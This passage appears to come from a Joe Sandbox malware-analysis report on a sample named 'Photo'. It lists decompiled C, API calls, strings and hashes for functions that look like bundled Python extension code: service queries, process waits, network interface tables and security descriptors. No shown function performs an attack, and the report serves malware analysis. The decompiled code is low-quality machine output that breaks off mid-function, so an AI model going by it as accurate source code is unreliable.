API String ID: 3722936971-3117540829
Opcode ID: 153dd8cba4a79e8d5919f607093ea3f7f4d7c02830d6fcc1e781f1786238dc13
Instruction ID: 06fd47f47b50c4c733cb07d4cfa0dd691e92a1663585e347af16dda8554b34e6
Opcode Fuzzy Hash: 153dd8cba4a79e8d5919f607093ea3f7f4d7c02830d6fcc1e781f1786238dc13
Instruction Fuzzy Hash: D791EEB1904381AFD720DB64CC4DA7BB3E9AB85728F044A1DFD9997280D734E901CB92

Uniqueness

Uniqueness Score: -1.00%

Function 027677E0 Relevance: 35.1, APIs: 17, Strings: 3, Instructions: 126
serviceCOMMON

Download Yara Rule

C-Code - Quality: 48%

			E027677E0(intOrPtr _a8) {
				char _v4;
				char _v8;
				long _v28;
				char _v36;
				void* _t12;
				intOrPtr* _t40;
				void* _t41;
				void* _t50;
				void* _t54;

				_t54 = 0;
				_v8 = 0;
				_t12 =  *0x2769308(_a8, "s",  &_v4);
				if(_t12 != 0) {
					_t50 = E02767220(_v4, 4, 4);
					if(_t50 == 0) {
						L14:
						return 0;
					} else {
						_t40 =  *0x276901c;
						 *_t40(_t50, 0, 0, 0,  &_v8);
						if(GetLastError() != 0x3afc) {
							if(GetLastError() == 0x7a) {
								_t54 = RtlAllocateHeap(GetProcessHeap(), 0, _v28);
								if(_t54 != 0) {
									_push( &_v36);
									_push(_v36);
									_push(_t54);
									_push(0);
									_push(_t50);
									if( *_t40() != 0) {
										_t41 =  *0x27692b4("(sk)", E027672C0( *((intOrPtr*)(_t54 + 4))),  *((intOrPtr*)(_t54 + 0x1c)));
										if(_t41 != 0) {
											CloseServiceHandle(_t50);
											HeapFree(GetProcessHeap(), 0, _t54);
											return _t41;
										} else {
											goto L12;
										}
									} else {
										E02761090("QueryServiceStatusEx");
										goto L12;
									}
								} else {
									 *0x27692bc();
									goto L12;
								}
							} else {
								E02761090("QueryServiceStatusEx");
								L12:
								CloseServiceHandle(_t50);
								if(_t54 != 0) {
									HeapFree(GetProcessHeap(), 0, _t54);
								}
								goto L14;
							}
						} else {
							CloseServiceHandle(_t50);
							return  *0x27692b4("s", 0x276d824);
						}
					}
				} else {
					return _t12;
				}
			}

0x027677f2
0x027677f5
0x027677f9
0x02767804
0x0276781c
0x02767823
0x02767900
0x02767909
0x02767829
0x02767829
0x02767838
0x02767847
0x02767876
0x02767897
0x0276789b
0x027678ad
0x027678ae
0x027678af
0x027678b0
0x027678b2
0x027678b7
0x027678e0
0x027678e7
0x0276790b
0x02767917
0x02767926
0x00000000
0x00000000
0x00000000
0x027678b9
0x027678be
0x00000000
0x027678c3
0x0276789d
0x0276789d
0x00000000
0x0276789d
0x02767878
0x0276787d
0x027678e9
0x027678ea
0x027678f2
0x027678fa
0x027678fa
0x00000000
0x027678f2
0x02767849
0x0276784a
0x0276786a
0x0276786a
0x02767847
0x0276780a
0x0276780a
0x0276780a

APIs

PyArg_ParseTuple.PYTHON27(?,0276D434,?), ref: 027677F9
QueryServiceStatusEx.ADVAPI32(00000000,00000000,00000000,00000000,?), ref: 02767838
GetLastError.KERNEL32 ref: 02767840
CloseServiceHandle.ADVAPI32(00000000), ref: 0276784A
Py_BuildValue.PYTHON27(0276D438,0276D824), ref: 0276785A

Strings

(sk), xrefs: 027678D5
QueryServiceStatusEx, xrefs: 027678B9
QueryServiceStatusEx, xrefs: 02767878

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: Service$Arg_BuildCloseErrorHandleLastParseQueryStatusTupleValue
String ID: (sk)$QueryServiceStatusEx$QueryServiceStatusEx
API String ID: 740867558-3645801062
Opcode ID: a9b21db42ec6b4660e351f379dd015f37ab10cc6caad975fe2a77208915b362c
Instruction ID: dbca720a7ff8b7b36ddbcf30bf022ec876575cd271678595c809a6db2f1639c0
Opcode Fuzzy Hash: a9b21db42ec6b4660e351f379dd015f37ab10cc6caad975fe2a77208915b362c
Instruction Fuzzy Hash: 87310D71A45302EBD724A765FC8EF7B7B68EF85A99F004828FE0592100E775D814C6A2

Uniqueness

Uniqueness Score: -1.00%

Function 02761580 Relevance: 35.1, APIs: 15, Strings: 5, Instructions: 121
COMMON

Download Yara Rule

C-Code - Quality: 19%

			E02761580(intOrPtr _a8) {
				long _v4;
				long _v8;
				long _v12;
				void* _t8;
				long _t9;
				void* _t11;
				long _t13;
				void* _t34;
				intOrPtr _t42;
				intOrPtr _t44;
				void* _t45;
				long _t46;
				void* _t52;

				_t8 =  *0x2769308(_a8, "ll",  &_v12,  &_v8);
				if(_t8 != 0) {
					_t9 = _v12;
					if(_t9 != 0) {
						_t52 = OpenProcess(0x100400, 0, _t9);
						if(_t52 != 0) {
							_t11 =  *0x2769298(_t45, _t34);
							_t13 = WaitForSingleObject(_t52, _v8);
							_t46 = _t13;
							 *0x276929c(_t11);
							if(_t46 != 0xffffffff) {
								if(_t46 != 0x102) {
									if(_t46 != 0x80) {
										if(GetExitCodeProcess(_t52,  &_v4) != 0) {
											CloseHandle(_t52);
											return  *0x27692a0(_v4);
										} else {
											_push("GetExitCodeProcess");
											goto L16;
										}
									} else {
										E02761160();
										_t44 =  *0x276d7cc; // 0x2e615b8
										 *0x27692c4(_t44, "WaitForSingleObject() returned WAIT_ABANDONED", "WaitForSingleObject() -> WAIT_ABANDONED");
										CloseHandle(_t52);
										return 0;
									}
								} else {
									_t42 =  *0x276d7c8; // 0x2e613e0
									 *0x27692c4(_t42, "WaitForSingleObject() returned WAIT_TIMEOUT");
									CloseHandle(_t52);
									return 0;
								}
							} else {
								_push("WaitForSingleObject");
								L16:
								E02761090();
								CloseHandle(_t52);
								return 0;
							}
						} else {
							if(GetLastError() != 0x57) {
								return  *0x27692b8(0);
							} else {
								 *((intOrPtr*)( *0x27692c8)) =  *((intOrPtr*)( *0x27692c8)) + 1;
								return  *0x27692c8;
							}
						}
					} else {
						return E027610D0(0x276d7d6);
					}
				} else {
					return _t8;
				}
			}

0x02761597
0x027615a2
0x027615a8
0x027615ad
0x027615cf
0x027615d3
0x02761603
0x02761611
0x02761618
0x0276161a
0x02761626
0x02761635
0x02761662
0x027616a1
0x027616c1
0x027616db
0x027616a3
0x027616a3
0x00000000
0x027616a3
0x02761664
0x02761669
0x0276166e
0x0276167a
0x02761684
0x02761692
0x02761692
0x02761637
0x02761637
0x02761643
0x0276164d
0x0276165b
0x0276165b
0x02761628
0x02761628
0x027616a8
0x027616a8
0x027616b1
0x027616bf
0x027616bf
0x027615d5
0x027615de
0x02761600
0x027615e0
0x027615e5
0x027615f0
0x027615f0
0x027615de
0x027615af
0x027615bf
0x027615bf
0x027615a7
0x027615a7
0x027615a7

APIs

PyArg_ParseTuple.PYTHON27(?,0276B160,?,?), ref: 02761597

Strings

WaitForSingleObject() returned WAIT_ABANDONED, xrefs: 02761674
WaitForSingleObject() returned WAIT_TIMEOUT, xrefs: 0276163D
GetExitCodeProcess, xrefs: 027616A3
WaitForSingleObject, xrefs: 02761628
WaitForSingleObject() -> WAIT_ABANDONED, xrefs: 02761664

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: Arg_ParseTuple
String ID: GetExitCodeProcess$WaitForSingleObject$WaitForSingleObject() -> WAIT_ABANDONED$WaitForSingleObject() returned WAIT_ABANDONED$WaitForSingleObject() returned WAIT_TIMEOUT
API String ID: 3371842430-19038427
Opcode ID: b8a7ddc26262f65256da639ad1d6078b4767b4beec5343fc68eb8501c1c95f80
Instruction ID: 7549e1184484f7a2545f0bd5f4bff6f9326efbc0a66b85a2957cdab8e04d79da
Opcode Fuzzy Hash: b8a7ddc26262f65256da639ad1d6078b4767b4beec5343fc68eb8501c1c95f80
Instruction Fuzzy Hash: 1631B6B6E40300EFE714DB68FC4DABF3754AF45625F848825FE0AD1201E7359628CA93

Uniqueness

Uniqueness Score: -1.00%

Function 02765390 Relevance: 33.5, APIs: 15, Strings: 4, Instructions: 234COMMON

Download Yara Rule

APIs

PyDict_New.PYTHON27 ref: 0276539D
PyErr_NoMemory.PYTHON27 ref: 027653E9
6C423B4E.MSVCR90(?), ref: 02765620
6C423B4E.MSVCR90(00000000), ref: 0276562E

Strings

N;Bl, xrefs: 0276540F, 0276559C, 02765620, 0276562E
%wS, xrefs: 02765484
(Oikk), xrefs: 02765530
GetIfTable() syscall failed, xrefs: 0276544C

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: C423$Dict_Err_Memory
String ID: %wS$(Oikk)$GetIfTable() syscall failed$N;Bl
API String ID: 1248824789-1143418722
Opcode ID: c2395acbc245e3fdfdd04e6cc03618e40dcbfd2f14888fbc73b2411b2fe8f89f
Instruction ID: 5995e1563560477ad41e9ee6e04aaac4206647adde73402af44e91332d804995
Opcode Fuzzy Hash: c2395acbc245e3fdfdd04e6cc03618e40dcbfd2f14888fbc73b2411b2fe8f89f
Instruction Fuzzy Hash: FD81C0B1940301DFC720DF54DC8CABB77A9FB84728F484A28EE5A97242D734E915DB92

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A5F80 Relevance: 33.5, APIs: 12, Strings: 7, Instructions: 230COMMON

Download Yara Rule

APIs

PyErr_Format.PYTHON27(?,Unable to allocate %d bytes,00000014), ref: 1E7A5FD9
MakeAbsoluteSD.ADVAPI32(?,00000000,?,00000000,?,00000000,?,00000000,?,00000000,?), ref: 1E7A6014
6C423B4E.MSVCR90(00000000), ref: 1E7A619B
6C423B4E.MSVCR90(?), ref: 1E7A61B1
6C423B4E.MSVCR90(?), ref: 1E7A61BF
6C423B4E.MSVCR90(?), ref: 1E7A61CD
6C423B4E.MSVCR90(?), ref: 1E7A61DB

Strings

Unable to allocate %d bytes, xrefs: 1E7A609F
MakeAbsoluteSD, xrefs: 1E7A617D
Unable to allocate %d bytes, xrefs: 1E7A60C6
Unable to allocate %d bytes, xrefs: 1E7A6061
Unable to allocate %d bytes, xrefs: 1E7A5FD3
Unable to allocate %d bytes, xrefs: 1E7A60ED
Unable to allocate %d bytes, xrefs: 1E7A610F

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: C423$AbsoluteErr_FormatMake
String ID: MakeAbsoluteSD$Unable to allocate %d bytes$Unable to allocate %d bytes$Unable to allocate %d bytes$Unable to allocate %d bytes$Unable to allocate %d bytes$Unable to allocate %d bytes
API String ID: 3632380101-2910537859
Opcode ID: 9f1ccbac9aa649bfaf89661b73884631742b8aa0e71684b551b4ee9d103b3ae8
Instruction ID: 872bd1fba5debf73104548c5245e2a0b25c68875dd35a8be78e1a6109cbc127a
Opcode Fuzzy Hash: 9f1ccbac9aa649bfaf89661b73884631742b8aa0e71684b551b4ee9d103b3ae8
Instruction Fuzzy Hash: 747160B1604254AFE204DF99EC80D9BB7E9EBC8604F484B2DF645D3251D771E948CFA2

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A2940 Relevance: 33.5, APIs: 14, Strings: 5, Instructions: 203COMMON

Download Yara Rule

APIs

PyErr_Format.PYTHON27(?,AddAuditAccessObjectAce not supported by this version of Windows), ref: 1E7A296C
PyArg_ParseTuple.PYTHON27(?,lllOOOii:AddAuditAccessObjectAce,?,?,?,?,?,?,?,?), ref: 1E7A29AD

Strings

lllOOOii:AddAuditAccessObjectAce, xrefs: 1E7A29A7
AddAuditAccessObjectAce not supported by this version of Windows, xrefs: 1E7A2966
AddAuditAccessObjectAce: unable to allocated %d bytes, xrefs: 1E7A2AB3
AddAuditAccessObjectAce, xrefs: 1E7A2B2A
AddAuditAccessObjectAce, xrefs: 1E7A2A6C

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Arg_Err_FormatParseTuple
String ID: AddAuditAccessObjectAce$AddAuditAccessObjectAce$AddAuditAccessObjectAce not supported by this version of Windows$AddAuditAccessObjectAce: unable to allocated %d bytes$lllOOOii:AddAuditAccessObjectAce
API String ID: 361908667-1791919988
Opcode ID: 21f88ae7c74250cbb5cbe4dd3749c28d02e1c4c4f44ffba07d24f2c9bcde9558
Instruction ID: 15dbd50618c8256c558199eb2124cceb3b3ad284fe9d8ae152a7e8a5ecd6b54a
Opcode Fuzzy Hash: 21f88ae7c74250cbb5cbe4dd3749c28d02e1c4c4f44ffba07d24f2c9bcde9558
Instruction Fuzzy Hash: C5513AB6504250AFE304DB58DC95DABB3EDAFC8655F484B1DFA8582220E731E905CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A2C30 Relevance: 33.4, APIs: 14, Strings: 5, Instructions: 145COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON27(?,l:GetAce), ref: 1E7A2C41
GetAce.ADVAPI32(?,?,?), ref: 1E7A2C63
?PyWin_SetAPIError@@YAPAU_object@@PADJ@Z.PYWINTYPES27(GetAce,00000000), ref: 1E7A2C73

Strings

(ll)lN, xrefs: 1E7A2CB8
Ace type %d is not supported yet, xrefs: 1E7A2D97
GetAce, xrefs: 1E7A2C6E
l:GetAce, xrefs: 1E7A2C3B
(ll)lNNN, xrefs: 1E7A2D78

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Arg_Error@@ParseTupleU_object@@Win_
String ID: (ll)lN$(ll)lNNN$Ace type %d is not supported yet$GetAce$l:GetAce
API String ID: 1264128360-3095649356
Opcode ID: 3eb159a42316d6eeb1a5856a51d8252658cac453ee5293fc8bdfd4c0dc0cfbf5
Instruction ID: 8e5186c6508ec32f3a5701dd15e8e7db4c433007b123aa95ecd302705a0dcd88
Opcode Fuzzy Hash: 3eb159a42316d6eeb1a5856a51d8252658cac453ee5293fc8bdfd4c0dc0cfbf5
Instruction Fuzzy Hash: D741C6B95042A5AFE300DB64DC84CA777EDAFC8514B4C8B69EB8683221F775E504CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A8810 Relevance: 31.7, APIs: 15, Strings: 3, Instructions: 171COMMON

Download Yara Rule

APIs

PyObject_GetAttrString.PYTHON27(?,timetuple,?,?,?,?,?,?,1E7A8A37), ref: 1E7A8837
PyErr_Clear.PYTHON27(?,?,?,?,1E7A8A37), ref: 1E7A8846
PyNumber_Check.PYTHON27(00000000,?,?,?,?,?,?,?,1E7A8A37), ref: 1E7A8880
PyInt_AsLong.PYTHON27(00000000,?,?,?,?,?,?,?,?,1E7A8A37), ref: 1E7A888E
PyErr_Occurred.PYTHON27(?,?,?,?,?,?,?,?,?,1E7A8A37), ref: 1E7A889C
PyErr_BadArgument.PYTHON27(?,?,?,?,?,?,?,?,?,1E7A8A37), ref: 1E7A88AA

Strings

Objects of type '%s' can not be used as a time object, xrefs: 1E7A89D4
timetuple, xrefs: 1E7A882D
time tuple must have at least 6 elements, xrefs: 1E7A8906

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Err_$ArgumentAttrCheckClearInt_LongNumber_Object_OccurredString
String ID: Objects of type '%s' can not be used as a time object$time tuple must have at least 6 elements$timetuple
API String ID: 3803439046-1685405869
Opcode ID: 6b5c8684bcb05c7ee9f31d8556bd1791dcc5b9eeff401f92c14b4c26a90ca583
Instruction ID: a7102e858c545e6d1e95597bce98bd757d31f6199c33cd5f112e356a1a143e01
Opcode Fuzzy Hash: 6b5c8684bcb05c7ee9f31d8556bd1791dcc5b9eeff401f92c14b4c26a90ca583
Instruction Fuzzy Hash: EF51E475A102519BF7009F68AC8C65FB369AFC4224F0C0B29EA15C7365EB35D905CBD7

Uniqueness

Uniqueness Score: -1.00%

Function 02764F90 Relevance: 30.1, APIs: 12, Strings: 5, Instructions: 330
COMMON

Download Yara Rule

C-Code - Quality: 42%

			E02764F90() {
				intOrPtr _t89;
				intOrPtr* _t90;
				intOrPtr* _t98;
				intOrPtr _t104;
				intOrPtr _t105;
				intOrPtr _t113;
				intOrPtr _t114;
				intOrPtr* _t116;
				intOrPtr _t118;
				void* _t121;
				intOrPtr* _t122;
				intOrPtr* _t123;
				signed int _t132;
				intOrPtr _t134;
				intOrPtr _t139;
				void* _t141;
				intOrPtr* _t149;
				intOrPtr* _t154;
				intOrPtr _t164;
				intOrPtr _t172;
				intOrPtr* _t185;
				intOrPtr _t186;
				intOrPtr* _t187;
				void* _t188;
				intOrPtr* _t189;
				intOrPtr* _t190;
				void* _t191;
				signed int _t192;
				void* _t193;
				intOrPtr* _t194;
				intOrPtr* _t195;
				void* _t196;
				void* _t197;

				_t190 =  *0x27692a4(0);
				_t185 = 0;
				_t149 = 0;
				_t197 = _t196 + 4;
				_t195 = 0;
				 *((intOrPtr*)(_t197 + 0x20)) = _t190;
				 *((intOrPtr*)(_t197 + 0x1c)) = 0;
				 *((intOrPtr*)(_t197 + 0x18)) = 0;
				if(_t190 == 0) {
					L67:
					return 0;
				} else {
					_t89 = E02761200();
					 *((intOrPtr*)(_t197 + 0x28)) = _t89;
					if(_t89 == 0) {
						L53:
						 *_t190 =  *_t190 + 0xffffffff;
						if( *_t190 == 0) {
							 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t190 + 4)) + 0x18))))(_t190);
							_t197 = _t197 + 4;
						}
						if(_t195 != 0) {
							 *_t195 =  *_t195 + 0xffffffff;
							if( *_t195 == 0) {
								 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t195 + 4)) + 0x18))))(_t195);
								_t197 = _t197 + 4;
							}
						}
						if(_t185 != 0) {
							 *_t185 =  *_t185 + 0xffffffff;
							if( *_t185 == 0) {
								 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t185 + 4)) + 0x18))))(_t185);
								_t197 = _t197 + 4;
							}
						}
						if(_t149 != 0) {
							 *_t149 =  *_t149 + 0xffffffff;
							if( *_t149 == 0) {
								 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t149 + 4)) + 0x18))))(_t149);
								_t197 = _t197 + 4;
							}
						}
						_t90 =  *((intOrPtr*)(_t197 + 0x18));
						if(_t90 != 0) {
							 *_t90 =  *_t90 + 0xffffffff;
							if( *_t90 == 0) {
								 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t90 + 4)) + 0x18))))(_t90);
							}
						}
						goto L67;
					} else {
						 *((intOrPtr*)(_t197 + 0x10)) = _t89;
						goto L4;
						do {
							L5:
							_t172 =  *_t98;
							_t98 = _t98 + 2;
						} while (_t172 != 0);
						_t149 =  *0x276928c(_t154, _t98 - _t191 >> 1);
						_t197 = _t197 + 8;
						if(_t149 == 0) {
							L52:
							 *0x2769214( *((intOrPtr*)(_t197 + 0x28)));
							_t185 =  *((intOrPtr*)(_t197 + 0x20));
							_t190 =  *((intOrPtr*)(_t197 + 0x24));
							_t197 = _t197 + 4;
							goto L53;
						} else {
							_t104 =  *((intOrPtr*)(_t197 + 0x10));
							if( *((intOrPtr*)(_t104 + 0x34)) == 0) {
								L23:
								if(_t186 == 0) {
									L48:
									 *_t149 =  *_t149 + 0xffffffff;
									if( *_t149 == 0) {
										 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t149 + 4)) + 0x18))))(_t149);
										_t197 = _t197 + 4;
									}
									_t105 =  *((intOrPtr*)( *((intOrPtr*)(_t197 + 0x10)) + 8));
									 *((intOrPtr*)(_t197 + 0x10)) = _t105;
									if(_t105 != 0) {
										_t89 =  *((intOrPtr*)(_t197 + 0x10));
										L4:
										_t186 =  *((intOrPtr*)(_t89 + 0x10));
										_t154 =  *((intOrPtr*)(_t89 + 0x28));
										_t98 = _t154;
										 *((intOrPtr*)(_t197 + 0x14)) = _t186;
										 *((intOrPtr*)(_t197 + 0x24)) = 0;
										_t191 = _t98 + 2;
										goto L5;
									} else {
										 *0x2769214( *((intOrPtr*)(_t197 + 0x28)));
										return  *((intOrPtr*)(_t197 + 0x24));
									}
								} else {
									while(1) {
										_t111 =  *(_t186 + 0xc);
										_t192 =  *( *(_t186 + 0xc)) & 0x0000ffff;
										if(_t192 != 2) {
											goto L30;
										}
										L27:
										if(E02767140(_t192,  &(_t111[2]), _t197 + 0x438, 0x400) == 0) {
											goto L52;
										} else {
											_t132 =  *(_t186 + 0x2c) & 0x000000ff;
											_push(_t197 + 0x30);
											_push(_t132);
											L02768C26();
											if(_t132 != 0) {
												L33:
												_t187 =  *0x27692e0;
												_t114 =  *_t187(_t197 + 0x434);
												_t197 = _t197 + 4;
												 *((intOrPtr*)(_t197 + 0x1c)) = _t114;
												if(_t114 == 0) {
													goto L52;
												} else {
													if( *((intOrPtr*)(_t197 + 0x24)) == 0) {
														 *((intOrPtr*)( *0x27692c8)) =  *((intOrPtr*)( *0x27692c8)) + 1;
														_t116 =  *0x27692c8;
														 *((intOrPtr*)(_t197 + 0x18)) = _t116;
													} else {
														 *((intOrPtr*)(_t197 + 0x1c)) =  *_t187(_t197 + 0x834);
														_t116 =  *0x27692c8;
														_t197 = _t197 + 4;
													}
													 *_t116 =  *_t116 + 1;
													 *((intOrPtr*)( *0x27692c8)) =  *((intOrPtr*)( *0x27692c8)) + 1;
													_t118 =  *0x27692c8;
													_t195 =  *0x27692b4("(OiOOOO)", _t149, _t192,  *((intOrPtr*)(_t197 + 0x1c)),  *((intOrPtr*)(_t197 + 0x18)), _t118, _t118);
													_t197 = _t197 + 0x1c;
													if(_t195 == 0) {
														goto L52;
													} else {
														_t121 =  *0x2769314( *((intOrPtr*)(_t197 + 0x20)), _t195);
														_t197 = _t197 + 8;
														if(_t121 != 0) {
															goto L52;
														} else {
															 *_t195 =  *_t195 + 0xffffffff;
															if( *_t195 == 0) {
																 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t195 + 4)) + 0x18))))(_t195);
																_t197 = _t197 + 4;
															}
															_t122 =  *((intOrPtr*)(_t197 + 0x1c));
															 *_t122 =  *_t122 + 0xffffffff;
															if( *_t122 == 0) {
																 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t122 + 4)) + 0x18))))(_t122);
																_t197 = _t197 + 4;
															}
															_t123 =  *((intOrPtr*)(_t197 + 0x18));
															 *_t123 =  *_t123 + 0xffffffff;
															if( *_t123 == 0) {
																 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t123 + 4)) + 0x18))))(_t123);
																_t197 = _t197 + 4;
															}
															 *((intOrPtr*)(_t197 + 0x14)) =  *((intOrPtr*)( *((intOrPtr*)(_t197 + 0x14)) + 8));
															L47:
															if( *((intOrPtr*)(_t197 + 0x14)) != 0) {
																_t186 =  *((intOrPtr*)(_t197 + 0x14));
																_t111 =  *(_t186 + 0xc);
																_t192 =  *( *(_t186 + 0xc)) & 0x0000ffff;
																if(_t192 != 2) {
																	goto L30;
																}
															} else {
																goto L48;
															}
														}
													}
												}
											} else {
												 *((intOrPtr*)(_t197 + 0x3c)) =  *((intOrPtr*)(_t197 + 0x30));
												_t113 = E02767140(_t192, _t197 + 0x34, _t197 + 0x838, 0x400);
												 *((intOrPtr*)(_t197 + 0x24)) = _t113;
												L32:
												if(_t113 == 0) {
													goto L52;
												} else {
													goto L33;
												}
											}
										}
										goto L68;
										L30:
										if(_t192 != 0x17) {
											 *((intOrPtr*)(_t197 + 0x14)) =  *((intOrPtr*)(_t186 + 8));
											goto L47;
										} else {
											_t113 = E02767140(_t192,  &(_t111[4]), _t197 + 0x438, 0x400);
											goto L32;
										}
										goto L68;
									}
								}
							} else {
								_t164 = _t104;
								 *((char*)(_t197 + 0x34)) = 0;
								_t134 =  *((intOrPtr*)(_t164 + 0x34));
								_t193 = 0;
								_t188 = _t197 + 0x34;
								if(_t134 > 0) {
									L11:
									if(_t193 != _t134 - 1) {
										_push( *(_t164 + _t193 + 0x2c) & 0x000000ff);
										_push("%.2X-");
									} else {
										_push( *(_t164 + _t193 + 0x2c) & 0x000000ff);
										_push("%.2X\n");
									}
									 *0x276920c(_t188, 0x400);
									_t134 =  *((intOrPtr*)( *((intOrPtr*)(_t197 + 0x20)) + 0x34));
									_t193 = _t193 + 1;
									_t197 = _t197 + 0x10;
									_t188 = _t188 + 3;
									if(_t193 < _t134) {
										_t164 =  *((intOrPtr*)(_t197 + 0x10));
										goto L11;
									}
								}
								 *((char*)(_t188 - 1)) = 0;
								_t189 =  *0x27692b4;
								_t194 =  *_t189("s", _t197 + 0x34);
								_t197 = _t197 + 8;
								if(_t194 == 0) {
									goto L52;
								} else {
									 *((intOrPtr*)( *0x27692c8)) =  *((intOrPtr*)( *0x27692c8)) + 1;
									 *((intOrPtr*)( *0x27692c8)) =  *((intOrPtr*)( *0x27692c8)) + 1;
									 *((intOrPtr*)( *0x27692c8)) =  *((intOrPtr*)( *0x27692c8)) + 1;
									_t139 =  *0x27692c8;
									_t195 =  *_t189("(OiOOOO)", _t149, 0xffffffff, _t194, _t139, _t139, _t139);
									_t197 = _t197 + 0x1c;
									if(_t195 == 0) {
										goto L52;
									} else {
										_t141 =  *0x2769314( *((intOrPtr*)(_t197 + 0x20)), _t195);
										_t197 = _t197 + 8;
										if(_t141 != 0) {
											goto L52;
										} else {
											 *_t195 =  *_t195 + 0xffffffff;
											if( *_t195 == 0) {
												 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t195 + 4)) + 0x18))))(_t195);
												_t197 = _t197 + 4;
											}
											 *_t194 =  *_t194 + 0xffffffff;
											if( *_t194 == 0) {
